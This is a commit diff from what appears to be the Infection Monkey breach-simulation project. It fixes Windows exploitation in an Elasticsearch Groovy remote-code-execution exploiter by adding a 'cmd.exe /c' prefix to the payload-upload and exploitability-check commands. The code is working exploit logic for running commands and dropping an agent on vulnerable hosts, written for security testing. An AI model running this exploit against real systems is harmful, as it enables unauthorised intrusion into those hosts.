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Merge pull request #245 from VakarisZ/elastic_win_bugfix 

Elastic windows exploitation bugfix
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Daniel Goldberg 2019-01-22 11:38:26 +02:00 committed by GitHub
parent 68093d084f c47047c815
commit 1c150c3745
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GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 21 additions and 2 deletions
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21
monkey/infection_monkey/exploit/elasticgroovy.py
View File

@ -8,7 +8,7 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP
from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX
from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
import re
@ -34,7 +34,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': RDP_CMDLINE_HTTP}
exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):
@ -63,3 +63,20 @@ class ElasticGroovyExploiter(WebRCE):
return json_resp['hits']['hits'][0]['fields'][self.MONKEY_RESULT_FIELD]
except (KeyError, IndexError):
return None
def check_if_exploitable(self, url):
# Overridden web_rce method that adds CMD prefix for windows command
try:
if 'windows' in self.host.os['type']:
resp = self.exploit(url, CMD_PREFIX+" "+CHECK_COMMAND)
else:
resp = self.exploit(url, CHECK_COMMAND)
if resp is True:
return True
elif resp is not False and ID_STRING in resp:
return True
else:
return False
except Exception as e:
LOG.error("Host's exploitability check failed due to: %s" % e)
return False

2
monkey/infection_monkey/model/__init__.py
View File

@ -24,6 +24,8 @@ CHMOD_MONKEY = "chmod +x %(monkey_path)s"
RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING
# CMD prefix for windows commands
CMD_PREFIX = "cmd.exe /c"
# Architecture checking commands
GET_ARCH_WINDOWS = "wmic os get osarchitecture"
GET_ARCH_LINUX = "lscpu"